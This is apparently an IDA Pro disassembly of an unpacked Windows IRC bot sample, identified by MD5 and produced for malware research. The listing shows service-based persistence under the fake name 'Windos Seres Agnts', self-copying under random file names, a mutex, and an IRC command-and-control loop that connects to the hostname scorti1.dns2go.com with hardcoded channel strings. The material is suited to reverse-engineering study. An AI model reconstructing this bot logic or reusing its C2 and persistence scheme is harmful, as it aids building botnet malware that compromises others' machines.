;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	781250F3EE00DD0B9CD8FC805BDD49DE

; File Name   :	u:\work\781250f3ee00dd0b9cd8fc805bdd49de_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindosSeresAgn ; "Windos Seres Agnts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB988
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB9F8
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB938


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9B0
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E91C
		call	dword_4CBA6C
		call	sub_40B583
		call	dword_4CB92C
		call	dword_4CB92C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB88
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2690AADh
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2680493h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB80
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB710, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB714, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA80
		push	7530h
		push	offset aSaadfgh	; "saadfgh"
		push	ebx
		push	ebx
		call	near ptr 26B00EEh
		nop
		push	eax
		nop
		call	near ptr 26B0000h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB944
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2690AADh
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26A0E4Ah
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AC8
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26A0D72h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 26A0C95h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 26A096Ch
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		call	near ptr 26A0000h
		nop
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 26A0C95h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DB88
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26A0928h
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: ___:off_433094o
		call	near ptr 26A02EBh
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB4
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2680493h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 26A0000h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB92C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBDF8, 2
		jle	short loc_401562
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 26B0000h
		nop
		push	esi
		nop
		call	near ptr 2680157h
		mov	eax, dword_4DBDFC
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 26A0000h
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+8]
		call	near ptr 26A0273h
		nop


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAA4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DB90
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 26A096Ch
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A34
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_40169A
		call	near ptr 26A096Ch
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		mov	dword_4CB888, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB79C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7DC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB870, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB718
		mov	dword_4CB884, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB884, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 26A0000h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB92C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E928
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E91C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA6C
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 26A0000h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD0
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA6C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB880, bl
		jz	short loc_40199A
		push	offset byte_4CB880
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA6C
		push	1388h
		nop
		call	near ptr 26A0000h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 26A0000h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
